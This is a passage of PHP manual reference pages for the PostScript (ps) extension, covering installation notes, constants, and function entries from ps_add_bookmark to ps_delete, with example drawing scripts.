PDF_utf32_to_utf16 — Convert string from UTF-32 to UTF-16

Description

string PDF_utf32_to_utf16 ( resource $pdfdoc , string $utf32string , string $ordering )

Converts a string from UTF-32 format to UTF-16.

User Contributed Notes

There are no user contributed notes for this page.


Convert string from UTF-8 to UTF-16

  • « PDF_utf32_to_utf16
  • PS »
  • PHP Manual
  • PDF Functions
  • Convert string from UTF-8 to UTF-16

PDF_utf8_to_utf16

(PECL pdflib >= 2.0.3)

PDF_utf8_to_utf16 — Convert string from UTF-8 to UTF-16

Description

string PDF_utf8_to_utf16 ( resource $pdfdoc , string $utf8string , string $ordering )

Converts a string from UTF-8 format to UTF-16.

User Contributed Notes

There are no user contributed notes for this page.


PostScript document creation

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • PS Functions
    • ps_add_bookmark — Add bookmark to current page
    • ps_add_launchlink — Adds link which launches file
    • ps_add_locallink — Adds link to a page in the same document
    • ps_add_note — Adds note to current page
    • ps_add_pdflink — Adds link to a page in a second pdf document
    • ps_add_weblink — Adds link to a web location
    • ps_arc — Draws an arc counterclockwise
    • ps_arcn — Draws an arc clockwise
    • ps_begin_page — Start a new page
    • ps_begin_pattern — Start a new pattern
    • ps_begin_template — Start a new template
    • ps_circle — Draws a circle
    • ps_clip — Clips drawing to current path
    • ps_close_image — Closes image and frees memory
    • ps_close — Closes a PostScript document
    • ps_closepath_stroke — Closes and strokes path
    • ps_closepath — Closes path
    • ps_continue_text — Continue text in next line
    • ps_curveto — Draws a curve
    • ps_delete — Deletes all resources of a PostScript document
    • ps_end_page — End a page
    • ps_end_pattern — End a pattern
    • ps_end_template — End a template
    • ps_fill_stroke — Fills and strokes the current path
    • ps_fill — Fills the current path
    • ps_findfont — Loads a font
    • ps_get_buffer — Fetches the full buffer containig the generated PS data
    • ps_get_parameter — Gets certain parameters
    • ps_get_value — Gets certain values
    • ps_hyphenate — Hyphenates a word
    • ps_include_file — Reads an external file with raw PostScript code
    • ps_lineto — Draws a line
    • ps_makespotcolor — Create spot color
    • ps_moveto — Sets current point
    • ps_new — Creates a new PostScript document object
    • ps_open_file — Opens a file for output
    • ps_open_image_file — Opens image from file
    • ps_open_image — Reads an image for later placement
    • ps_open_memory_image — Takes an GD image and returns an image for placement in a PS document
    • ps_place_image — Places image on the page
    • ps_rect — Draws a rectangle
    • ps_restore — Restore previously save context
    • ps_rotate — Sets rotation factor
    • ps_save — Save current context
    • ps_scale — Sets scaling factor
    • ps_set_border_color — Sets color of border for annotations
    • ps_set_border_dash — Sets length of dashes for border of annotations
    • ps_set_border_style — Sets border style of annotations
    • ps_set_info — Sets information fields of document
    • ps_set_parameter — Sets certain parameters
    • ps_set_text_pos — Sets position for text output
    • ps_set_value — Sets certain values
    • ps_setcolor — Sets current color
    • ps_setdash — Sets appearance of a dashed line
    • ps_setflat — Sets flatness
    • ps_setfont — Sets font to use for following output
    • ps_setgray — Sets gray value
    • ps_setlinecap — Sets appearance of line ends
    • ps_setlinejoin — Sets how contected lines are joined
    • ps_setlinewidth — Sets width of a line
    • ps_setmiterlimit — Sets the miter limit
    • ps_setoverprintmode — Sets overprint mode
    • ps_setpolydash — Sets appearance of a dashed line
    • ps_shading_pattern — Creates a pattern based on a shading
    • ps_shading — Creates a shading for later use
    • ps_shfill — Fills an area with a shading
    • ps_show_boxed — Output text in a box
    • ps_show_xy2 — Output text at position
    • ps_show_xy — Output text at given position
    • ps_show2 — Output a text at current position
    • ps_show — Output text
    • ps_string_geometry — Gets geometry of a string
    • ps_stringwidth — Gets width of a string
    • ps_stroke — Draws the current path
    • ps_symbol_name — Gets name of a glyph
    • ps_symbol_width — Gets width of a glyph
    • ps_symbol — Output a glyph
    • ps_translate — Sets translation

User Contributed Notes

There are no user contributed notes for this page.


Introduction

This module allows to create PostScript documents. It has many similarities with the pdf extension. Actually the API is almost identical and one can in many cases just replace the prefix of each function from pdf_ to ps_. This also works for functions which has no meaning in the PostScript document (like adding hyperlinks) but will have an effect if the document is converted to PDF.

Documents created by this extension are sometimes even superior to documents created with the pdf extension, because pslib's text rendering functions can handle kerning, hyphenation and ligatures which results in much better output of boxed text.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

You need at least PHP 4.3.0 and pslib >= 0.1.12. The ps library (pslib) is available at » http://pslib.sourceforge.net/.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/ps.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.


Resource Types

This extension defines a PostScript document resource returned by ps_new().

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

The following two tables lists all constants defined by the ps extension.

Contants for line caps
Name | Meaning
ps_LINECAP_BUTT |
ps_LINECAP_ROUND |
ps_LINECAP_SQUARED |
Contants for line joins
Name | Meaning
ps_LINEJOIN_MITER |
ps_LINEJOIN_ROUND |
ps_LINEJOIN_BEVEL |

User Contributed Notes

There are no user contributed notes for this page.


PS Functions

Contact Information

If you have comments, bugfixes, enhancements for either this extension or pslib then please drop me a mail » steinm@php.net. Any help is very welcome.

Table of Contents

  • ps_add_bookmark — Add bookmark to current page
  • ps_add_launchlink — Adds link which launches file
  • ps_add_locallink — Adds link to a page in the same document
  • ps_add_note — Adds note to current page
  • ps_add_pdflink — Adds link to a page in a second pdf document
  • ps_add_weblink — Adds link to a web location
  • ps_arc — Draws an arc counterclockwise
  • ps_arcn — Draws an arc clockwise
  • ps_begin_page — Start a new page
  • ps_begin_pattern — Start a new pattern
  • ps_begin_template — Start a new template
  • ps_circle — Draws a circle
  • ps_clip — Clips drawing to current path
  • ps_close_image — Closes image and frees memory
  • ps_close — Closes a PostScript document
  • ps_closepath_stroke — Closes and strokes path
  • ps_closepath — Closes path
  • ps_continue_text — Continue text in next line
  • ps_curveto — Draws a curve
  • ps_delete — Deletes all resources of a PostScript document
  • ps_end_page — End a page
  • ps_end_pattern — End a pattern
  • ps_end_template — End a template
  • ps_fill_stroke — Fills and strokes the current path
  • ps_fill — Fills the current path
  • ps_findfont — Loads a font
  • ps_get_buffer — Fetches the full buffer containig the generated PS data
  • ps_get_parameter — Gets certain parameters
  • ps_get_value — Gets certain values
  • ps_hyphenate — Hyphenates a word
  • ps_include_file — Reads an external file with raw PostScript code
  • ps_lineto — Draws a line
  • ps_makespotcolor — Create spot color
  • ps_moveto — Sets current point
  • ps_new — Creates a new PostScript document object
  • ps_open_file — Opens a file for output
  • ps_open_image_file — Opens image from file
  • ps_open_image — Reads an image for later placement
  • ps_open_memory_image — Takes an GD image and returns an image for placement in a PS document
  • ps_place_image — Places image on the page
  • ps_rect — Draws a rectangle
  • ps_restore — Restore previously save context
  • ps_rotate — Sets rotation factor
  • ps_save — Save current context
  • ps_scale — Sets scaling factor
  • ps_set_border_color — Sets color of border for annotations
  • ps_set_border_dash — Sets length of dashes for border of annotations
  • ps_set_border_style — Sets border style of annotations
  • ps_set_info — Sets information fields of document
  • ps_set_parameter — Sets certain parameters
  • ps_set_text_pos — Sets position for text output
  • ps_set_value — Sets certain values
  • ps_setcolor — Sets current color
  • ps_setdash — Sets appearance of a dashed line
  • ps_setflat — Sets flatness
  • ps_setfont — Sets font to use for following output
  • ps_setgray — Sets gray value
  • ps_setlinecap — Sets appearance of line ends
  • ps_setlinejoin — Sets how contected lines are joined
  • ps_setlinewidth — Sets width of a line
  • ps_setmiterlimit — Sets the miter limit
  • ps_setoverprintmode — Sets overprint mode
  • ps_setpolydash — Sets appearance of a dashed line
  • ps_shading_pattern — Creates a pattern based on a shading
  • ps_shading — Creates a shading for later use
  • ps_shfill — Fills an area with a shading
  • ps_show_boxed — Output text in a box
  • ps_show_xy2 — Output text at position
  • ps_show_xy — Output text at given position
  • ps_show2 — Output a text at current position
  • ps_show — Output text
  • ps_string_geometry — Gets geometry of a string
  • ps_stringwidth — Gets width of a string
  • ps_stroke — Draws the current path
  • ps_symbol_name — Gets name of a glyph
  • ps_symbol_width — Gets width of a glyph
  • ps_symbol — Output a glyph
  • ps_translate — Sets translation

User Contributed Notes

mattwheaton at hotmail dot com 18-Aug-2006 08:28
I also was not able to install ps using PEAR. Here are the steps I took to getting it installed:

1. you may need to install the perl module XML::Parser (http://search.cpan.org/~msergeant/XML-Parser/Parser.pm) to get pslib to install
2. install pslib (http://pslib.sourceforge.net/)
3. install ps (http://pecl.php.net/package/ps) using the instructions from (http://www.php.net/manual/en/install.pecl.phpize.php)
4. copy the ps.so file created by to the php extensions directory (not automatically done)
5. edit php.ini to include the ps extension (not automatically done)

If you are running FreeBSD, this link may help you with problems installing pslib (http://www.freebsd.org/cgi/query-pr.cgi?pr=84406).

Note that pslib (the library) and ps (the php extension) are not the same.
billy dot diehl at us dot army dot mil 31-May-2006 12:19
OK, OK, the previous note helped get me started, but really, it took me most of the day to figure out how to get this "pear install ps" to work. At first, it seemed geared for PHP4. Hopefully, I can save someone the day I just spent. (Don't get me wrong, I learned something new).

If the above statement doesn't work try this because it worked for me using PHP5 and Apache.

1. Forget the "pear install ps", it doesn't work. Whoever wrote that should get punched.
2. Make sure you've got PHP5 and Apache working as you like.
3. Go to http://pecl.php.net/package/ps and download the latest release.
4. Decompress the contents into its own directory somewhere.
5. Read http://www.php.net/manual/en/install.pecl.phpize.php which tells you what to do with what you just decompressed.
6. Move the final result (a shared object file) into the directory specified by your php.ini file's "extension_dir".
7. Create an entry in you php.ini (along with other similar statements that should already be there) that says "extension=ps.so"
8. For giggles, restart apache

Worked for me, hope it works for you...
norbert at hipersonik dot com 15-Nov-2005 01:30
For everybody who is frustrated by the not working of 'pear install ps' command under most likely SuSE, at www.hipersonik.com/php_ps_pslib.html is a possible way to get it working. It is also possible to use these instructions under other distributions.
If 'pear install ps' works fine from the start (pslib etc is installed), but ps does not work yet, use dl('ps.so'); This will save you a lot of time.


Add bookmark to current page

  • « PS Functions
  • ps_add_launchlink »
  • PHP Manual
  • PS Functions
  • Add bookmark to current page

ps_add_bookmark

(PECL ps >= 1.1.0)

ps_add_bookmark — Add bookmark to current page

Description

int ps_add_bookmark ( resource $psdoc , string $text [, int $parent = 0 [, int $open = 0 ]] )

Adds a bookmark for the current page. Bookmarks usually appear in PDF-Viewers left of the page in a hierarchical tree. Clicking on a bookmark will jump to the given page.

The note will not be visible if the document is printed or viewed but it will show up if the document is converted to pdf by either Acrobat Distiller™ or Ghostview.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

text

The text used for displaying the bookmark.

parent

A bookmark previously created by this function which is used as the parent of the new bookmark.

open

If open is unequal to zero the bookmark will be shown open by the pdf viewer.

Return Values

The returned value is a reference for the bookmark. It is only used if the bookmark shall be used as a parent. The value is greater zero if the function succeeds. In case of an error zero will be returned.

See Also

  • ps_add_launchlink() - Adds link which launches file
  • ps_add_pdflink() - Adds link to a page in a second pdf document
  • ps_add_weblink() - Adds link to a web location

User Contributed Notes

There are no user contributed notes for this page.


Adds link which launches file

  • « ps_add_bookmark
  • ps_add_locallink »
  • PHP Manual
  • PS Functions
  • Adds link which launches file

ps_add_launchlink

(PECL ps >= 1.1.0)

ps_add_launchlink — Adds link which launches file

Description

bool ps_add_launchlink ( resource $psdoc , float $llx , float $lly , float $urx , float $ury , string $filename )

Places a hyperlink at the given position pointing to a file program which is being started when clicked on. The hyperlink's source position is a rectangle with its lower left corner at (llx, lly) and its upper right corner at (urx, ury). The rectangle has by default a thin blue border.

The note will not be visible if the document is printed or viewed but it will show up if the document is converted to pdf by either Acrobat Distiller™ or Ghostview.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

llx

The x-coordinate of the lower left corner.

lly

The y-coordinate of the lower left corner.

urx

The x-coordinate of the upper right corner.

ury

The y-coordinate of the upper right corner.

filename

The path of the program to be started, when the link is clicked on.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_add_locallink() - Adds link to a page in the same document
  • ps_add_pdflink() - Adds link to a page in a second pdf document
  • ps_add_weblink() - Adds link to a web location

User Contributed Notes

There are no user contributed notes for this page.


Adds link to a page in the same document

  • « ps_add_launchlink
  • ps_add_note »
  • PHP Manual
  • PS Functions
  • Adds link to a page in the same document

ps_add_locallink

(PECL ps >= 1.1.0)

ps_add_locallink — Adds link to a page in the same document

Description

bool ps_add_locallink ( resource $psdoc , float $llx , float $lly , float $urx , float $ury , int $page , string $dest )

Places a hyperlink at the given position pointing to a page in the same document. Clicking on the link will jump to the given page. The first page in a document has number 1.

The hyperlink's source position is a rectangle with its lower left corner at (llx, lly) and its upper right corner at (urx, ury). The rectangle has by default a thin blue border.

The note will not be visible if the document is printed or viewed but it will show up if the document is converted to pdf by either Acrobat Distiller™ or Ghostview.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

llx

The x-coordinate of the lower left corner.

lly

The y-coordinate of the lower left corner.

urx

The x-coordinate of the upper right corner.

ury

The y-coordinate of the upper right corner.

page

The number of the page displayed when clicking on the link.

dest

The parameter dest determines how the document is being viewed. It can be fitpage, fitwidth, fitheight, or fitbbox.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_add_launchlink() - Adds link which launches file
  • ps_add_pdflink() - Adds link to a page in a second pdf document
  • ps_add_weblink() - Adds link to a web location

User Contributed Notes

There are no user contributed notes for this page.


Adds note to current page

  • « ps_add_locallink
  • ps_add_pdflink »
  • PHP Manual
  • PS Functions
  • Adds note to current page

ps_add_note

(PECL ps >= 1.1.0)

ps_add_note — Adds note to current page

Description

bool ps_add_note ( resource $psdoc , float $llx , float $lly , float $urx , float $ury , string $contents , string $title , string $icon , int $open )

Adds a note at a certain position on the page. Notes are like little rectangular sheets with text on it, which can be placed anywhere on a page. They are shown either folded or unfolded. If folded, the specified icon is used as a placeholder.

The note will not be visible if the document is printed or viewed but it will show up if the document is converted to pdf by either Acrobat Distiller™ or Ghostview.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

llx

The x-coordinate of the lower left corner.

lly

The y-coordinate of the lower left corner.

urx

The x-coordinate of the upper right corner.

ury

The y-coordinate of the upper right corner.

contents

The text of the note.

title

The title of the note as displayed in the header of the note.

icon

The icon shown if the note is folded. This parameter can be set to comment, insert, note, paragraph, newparagraph, key, or help.

open

If open is unequal to zero the note will be shown unfolded after opening the document with a pdf viewer.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_add_pdflink() - Adds link to a page in a second pdf document
  • ps_add_launchlink() - Adds link which launches file
  • ps_add_locallink() - Adds link to a page in the same document
  • ps_add_weblink() - Adds link to a web location

User Contributed Notes

There are no user contributed notes for this page.


Adds link to a page in a second pdf document

  • « ps_add_note
  • ps_add_weblink »
  • PHP Manual
  • PS Functions
  • Adds link to a page in a second pdf document

ps_add_pdflink

(PECL ps >= 1.1.0)

ps_add_pdflink — Adds link to a page in a second pdf document

Description

bool ps_add_pdflink ( resource $psdoc , float $llx , float $lly , float $urx , float $ury , string $filename , int $page , string $dest )

Places a hyperlink at the given position pointing to a second pdf document. Clicking on the link will branch to the document at the given page. The first page in a document has number 1.

The hyperlink's source position is a rectangle with its lower left corner at (llx, lly) and its upper right corner at (urx, ury). The rectangle has by default a thin blue border.

The note will not be visible if the document is printed or viewed but it will show up if the document is converted to pdf by either Acrobat Distiller™ or Ghostview.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

llx

The x-coordinate of the lower left corner.

lly

The y-coordinate of the lower left corner.

urx

The x-coordinate of the upper right corner.

ury

The y-coordinate of the upper right corner.

filename

The name of the pdf document to be opened when clicking on this link.

page

The page number of the destination pdf document

dest

The parameter dest determines how the document is being viewed. It can be fitpage, fitwidth, fitheight, or fitbbox.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_add_launchlink() - Adds link which launches file
  • ps_add_locallink() - Adds link to a page in the same document
  • ps_add_weblink() - Adds link to a web location

User Contributed Notes

There are no user contributed notes for this page.


Adds link to a web location

  • « ps_add_pdflink
  • ps_arc »
  • PHP Manual
  • PS Functions
  • Adds link to a web location

ps_add_weblink

(PECL ps >= 1.1.0)

ps_add_weblink — Adds link to a web location

Description

bool ps_add_weblink ( resource $psdoc , float $llx , float $lly , float $urx , float $ury , string $url )

Places a hyperlink at the given position pointing to a web page. The hyperlink's source position is a rectangle with its lower left corner at (llx, lly) and its upper right corner at (urx, ury). The rectangle has by default a thin blue border.

The note will not be visible if the document is printed or viewed but it will show up if the document is converted to pdf by either Acrobat Distiller™ or Ghostview.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

llx

The x-coordinate of the lower left corner.

lly

The y-coordinate of the lower left corner.

urx

The x-coordinate of the upper right corner.

ury

The y-coordinate of the upper right corner.

url

The url of the hyperlink to be opened when clicking on this link, e.g. http://www.php.net.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_add_launchlink() - Adds link which launches file
  • ps_add_locallink() - Adds link to a page in the same document
  • ps_add_pdflink() - Adds link to a page in a second pdf document

User Contributed Notes

There are no user contributed notes for this page.


Draws an arc counterclockwise

  • « ps_add_weblink
  • ps_arcn »
  • PHP Manual
  • PS Functions
  • Draws an arc counterclockwise

ps_arc

(PECL ps >= 1.1.0)

ps_arc — Draws an arc counterclockwise

Description

bool ps_arc ( resource $psdoc , float $x , float $y , float $radius , float $alpha , float $beta )

Draws a portion of a circle with at middle point at (x, y). The arc starts at an angle of alpha and ends at an angle of beta. It is drawn counterclockwise (use ps_arcn() to draw clockwise). The subpath added to the current path starts on the arc at angle alpha and ends on the arc at angle beta.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

x

The x-coordinate of the circle's middle point.

y

The y-coordinate of the circle's middle point.

radius

The radius of the circle

alpha

The start angle given in degrees.

beta

The end angle given in degrees.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_arcn() - Draws an arc clockwise

User Contributed Notes

There are no user contributed notes for this page.


Draws an arc clockwise

  • « ps_arc
  • ps_begin_page »
  • PHP Manual
  • PS Functions
  • Draws an arc clockwise

ps_arcn

(PECL ps >= 1.1.0)

ps_arcn — Draws an arc clockwise

Description

bool ps_arcn ( resource $psdoc , float $x , float $y , float $radius , float $alpha , float $beta )

Draws a portion of a circle with at middle point at (x, y). The arc starts at an angle of alpha and ends at an angle of beta. It is drawn clockwise (use ps_arc() to draw counterclockwise). The subpath added to the current path starts on the arc at angle beta and ends on the arc at angle alpha.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

x

The x-coordinate of the circle's middle point.

y

The y-coordinate of the circle's middle point.

radius

The radius of the circle

alpha

The starting angle given in degrees.

beta

The end angle given in degrees.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_arc() - Draws an arc counterclockwise

User Contributed Notes

There are no user contributed notes for this page.


Start a new page

  • « ps_arcn
  • ps_begin_pattern »
  • PHP Manual
  • PS Functions
  • Start a new page

ps_begin_page

(PECL ps >= 1.1.0)

ps_begin_page — Start a new page

Description

bool ps_begin_page ( resource $psdoc , float $width , float $height )

Starts a new page. Although the parameters width and height imply a different page size for each page, this is not possible in PostScript. The first call of ps_begin_page() will set the page size for the whole document. Consecutive calls will have no effect, except for creating a new page. The situation is different if you intent to convert the PostScript document into PDF. This function places pdfmarks into the document which can set the size for each page indiviually. The resulting PDF document will have different page sizes.

Though PostScript does not know different page sizes, pslib places a bounding box for each page into the document. This size is evaluated by some PostScript viewers and will have precedence over the BoundingBox in the Header of the document. This can lead to unexpected results when you set a BoundingBox whose lower left corner is not (0, 0), because the bounding box of the page will always have a lower left corner (0, 0) and overwrites the global setting.

Each page is encapsulated into save/restore. This means, that most of the settings made on one page will not be retained on the next page.

If there is up to the first call of ps_begin_page() no call of ps_findfont(), then the header of the PostScript document will be output and the bounding box will be set to the size of the first page. The lower left corner of the bounding box is set to (0, 0). If ps_findfont() was called before, then the header has been output already, and the document will not have a valid bounding box. In order to prevent this, one should call ps_set_info() to set the info field BoundingBox and possibly Orientation before any ps_findfont() or ps_begin_page() calls.

Note:

Up to version 0.2.6 of pslib, this function will always overwrite the BoundingBox and Orientation, if it has been set before with ps_set_info() and ps_findfont() has not been called before.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

width

The width of the page in pixel, e.g. 596 for A4 format.

height

The height of the page in pixel, e.g. 842 for A4 format.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_end_page() - End a page
  • ps_findfont() - Loads a font
  • ps_set_info() - Sets information fields of document

User Contributed Notes

There are no user contributed notes for this page.


Start a new pattern

  • « ps_begin_page
  • ps_begin_template »
  • PHP Manual
  • PS Functions
  • Start a new pattern

ps_begin_pattern

(PECL ps >= 1.2.0)

ps_begin_pattern — Start a new pattern

Description

int ps_begin_pattern ( resource $psdoc , float $width , float $height , float $xstep , float $ystep , int $painttype )

Starts a new pattern. A pattern is like a page containing e.g. a drawing which can be used for filling areas. It is used like a color by calling ps_setcolor() and setting the color space to pattern.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

width

The width of the pattern in pixel.

height

The height of the pattern in pixel.

x-step

The distance in pixel of placements of the pattern in horizontal direction.

y-step

The distance in pixel of placements of the pattern in vertical direction.

painttype

Must be 1 or 2.

Return Values

The identifier of the pattern or FALSE on failure.

Examples

Example #1 Creating and using a pattern

<?php
$ps = ps_new();

if (!ps_open_file($ps, "pattern.ps")) {
  print "Cannot open PostScript file\n";
  exit;
}

ps_set_parameter($ps, "warning", "true");
ps_set_info($ps, "Creator", "pattern.php");
ps_set_info($ps, "Author", "Uwe Steinmann");
ps_set_info($ps, "Title", "Pattern example");

$pspattern = ps_begin_pattern($ps, 10.0, 10.0, 10.0, 10.0, 1);
ps_setlinewidth($ps, 0.2);
ps_setcolor($ps, "stroke", "rgb", 0.0, 0.0, 1.0, 0.0);
ps_moveto($ps, 0, 0);
ps_lineto($ps, 7, 7);
ps_stroke($ps);
ps_moveto($ps, 0, 7);
ps_lineto($ps, 7, 0);
ps_stroke($ps);
ps_end_pattern($ps);

ps_begin_page($ps, 596, 842);
ps_setcolor($ps, "both", "pattern", $pspattern, 0.0, 0.0, 0.0);
ps_rect($ps, 50, 400, 200, 200);
ps_fill($ps);
ps_end_page($ps);

ps_close($ps);
ps_delete($ps);
?>

See Also

  • ps_end_pattern() - End a pattern
  • ps_setcolor() - Sets current color
  • ps_shading_pattern() - Creates a pattern based on a shading

User Contributed Notes

There are no user contributed notes for this page.


Start a new template

  • « ps_begin_pattern
  • ps_circle »
  • PHP Manual
  • PS Functions
  • Start a new template

ps_begin_template

(PECL ps >= 1.2.0)

ps_begin_template — Start a new template

Description

int ps_begin_template ( resource $psdoc , float $width , float $height )

Starts a new template. A template is called a form in the postscript language. It is created similar to a pattern but used like an image. Templates are often used for drawings which are placed several times through out the document, e.g. like a company logo. All drawing functions may be used within a template. The template will not be drawn until it is placed by ps_place_image().

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

width

The width of the template in pixel.

height

The height of the template in pixel.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Creating and using a template

<?php
$ps = ps_new();

if (!ps_open_file($ps, "template.ps")) {
  print "Cannot open PostScript file\n";
  exit;
}

ps_set_parameter($ps, "warning", "true");
ps_set_info($ps, "Creator", "template.php");
ps_set_info($ps, "Author", "Uwe Steinmann");
ps_set_info($ps, "Title", "Template example");

$pstemplate = ps_begin_template($ps, 30.0, 30.0);
ps_moveto($ps, 0, 0);
ps_lineto($ps, 30, 30);
ps_moveto($ps, 0, 30);
ps_lineto($ps, 30, 0);
ps_stroke($ps);
ps_end_template($ps);

ps_begin_page($ps, 596, 842);
ps_place_image($ps, $pstemplate, 20.0, 20.0, 1.0);
ps_place_image($ps, $pstemplate, 50.0, 30.0, 0.5);
ps_place_image($ps, $pstemplate, 70.0, 70.0, 0.6);
ps_place_image($ps, $pstemplate, 30.0, 50.0, 1.3);
ps_end_page($ps);

ps_close($ps);
ps_delete($ps);
?>

See Also

  • ps_end_template() - End a template

User Contributed Notes

There are no user contributed notes for this page.


Draws a circle

  • « ps_begin_template
  • ps_clip »
  • PHP Manual
  • PS Functions
  • Draws a circle

ps_circle

(PECL ps >= 1.1.0)

ps_circle — Draws a circle

Description

bool ps_circle ( resource $psdoc , float $x , float $y , float $radius )

Draws a circle with its middle point at (x, y). The circle starts and ends at position (x+radius, y). If this function is called outside a path it will start a new path. If it is called within a path it will add the circle as a subpath. If the last drawing operation does not end in point (x+radius, y) then there will be a gap in the path.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

x

The x-coordinate of the circle's middle point.

y

The y-coordinate of the circle's middle point.

radius

The radius of the circle

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_arc() - Draws an arc counterclockwise
  • ps_arcn() - Draws an arc clockwise

User Contributed Notes

There are no user contributed notes for this page.


Clips drawing to current path

  • « ps_circle
  • ps_close_image »
  • PHP Manual
  • PS Functions
  • Clips drawing to current path

ps_clip

(PECL ps >= 1.1.0)

ps_clip — Clips drawing to current path

Description

bool ps_clip ( resource $psdoc )

Takes the current path and uses it to define the border of a clipping area. Everything drawn outside of that area will not be visible.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_closepath() - Closes path

User Contributed Notes

There are no user contributed notes for this page.


Closes image and frees memory

  • « ps_clip
  • ps_close »
  • PHP Manual
  • PS Functions
  • Closes image and frees memory

ps_close_image

(PECL ps >= 1.1.0)

ps_close_image — Closes image and frees memory

Description

void ps_close_image ( resource $psdoc , int $imageid )

Closes an image and frees its resources. Once an image is closed it cannot be used anymore.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

imageid

Resource identifier of the image as returned by ps_open_image() or ps_open_image_file().

Return Values

Returns NULL on success or FALSE on failure.

See Also

  • ps_open_image() - Reads an image for later placement
  • ps_open_image_file() - Opens image from file

User Contributed Notes

There are no user contributed notes for this page.


Closes a PostScript document

  • « ps_close_image
  • ps_closepath_stroke »
  • PHP Manual
  • PS Functions
  • Closes a PostScript document

ps_close

(PECL ps >= 1.1.0)

ps_close — Closes a PostScript document

Description

bool ps_close ( resource $psdoc )

Closes the PostScript document.

This function writes the trailer of the PostScript document. It also writes the bookmark tree. ps_close() does not free any resources, which is done by ps_delete().

This function is also called by ps_delete() if it has not been called before.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_open_file() - Opens a file for output
  • ps_delete() - Deletes all resources of a PostScript document

User Contributed Notes

There are no user contributed notes for this page.


Closes and strokes path

  • « ps_close
  • ps_closepath »
  • PHP Manual
  • PS Functions
  • Closes and strokes path

ps_closepath_stroke

(PECL ps >= 1.1.0)

ps_closepath_stroke — Closes and strokes path

Description

bool ps_closepath_stroke ( resource $psdoc )

Connects the last point with first point of a path and draws the resulting closed line.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_closepath() - Closes path

User Contributed Notes

There are no user contributed notes for this page.


Closes path

  • « ps_closepath_stroke
  • ps_continue_text »
  • PHP Manual
  • PS Functions
  • Closes path

ps_closepath

(PECL ps >= 1.1.0)

ps_closepath — Closes path

Description

bool ps_closepath ( resource $psdoc )

Connects the last point with the first point of a path. The resulting path can be used for stroking, filling, clipping, etc..

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_clip() - Clips drawing to current path
  • ps_closepath_stroke() - Closes and strokes path

User Contributed Notes

There are no user contributed notes for this page.


Continue text in next line

  • « ps_closepath
  • ps_curveto »
  • PHP Manual
  • PS Functions
  • Continue text in next line

ps_continue_text

(PECL ps >= 1.1.0)

ps_continue_text — Continue text in next line

Description

bool ps_continue_text ( resource $psdoc , string $text )

Output a text one line below the last line. The line spacing is taken from the value "leading" which must be set with ps_set_value(). The actual position of the text is determined by the values "textx" and "texty" which can be requested with ps_get_value()

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

text

The text to output.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_show() - Output text
  • ps_show_xy() - Output text at given position
  • ps_show_boxed() - Output text in a box

User Contributed Notes

There are no user contributed notes for this page.


Draws a curve

  • « ps_continue_text
  • ps_delete »
  • PHP Manual
  • PS Functions
  • Draws a curve

ps_curveto

(PECL ps >= 1.1.0)

ps_curveto — Draws a curve

Description

bool ps_curveto ( resource $psdoc , float $x1 , float $y1 , float $x2 , float $y2 , float $x3 , float $y3 )

Add a section of a cubic Bézier curve described by the three given control points to the current path.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

x1

x-coordinate of first control point.

y1

y-coordinate of first control point.

x2

x-coordinate of second control point.

y2

y-coordinate of second control point.

x3

x-coordinate of third control point.

y3

y-coordinate of third control point.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_lineto() - Draws a line

User Contributed Notes

There are no user contributed notes for this page.


Deletes all resources of a PostScript document

  • « ps_curveto
  • ps_end_page »
  • PHP Manual
  • PS Functions
  • Deletes all resources of a PostScript document

ps_delete

(PECL ps >= 1.1.0)

ps_delete — Deletes all resources of a PostScript document

Description

bool ps_delete ( resource $psdoc )

Mainly frees memory used by the document. Also closes a file, if it was not closed before with ps_close(). You should in any case close the file with ps_close() before, because ps_close() not just closes the file but also outputs a trailor containing PostScript comments like the number of pages in the document and adding the bookmark hierarchy.

Parameters

psdoc

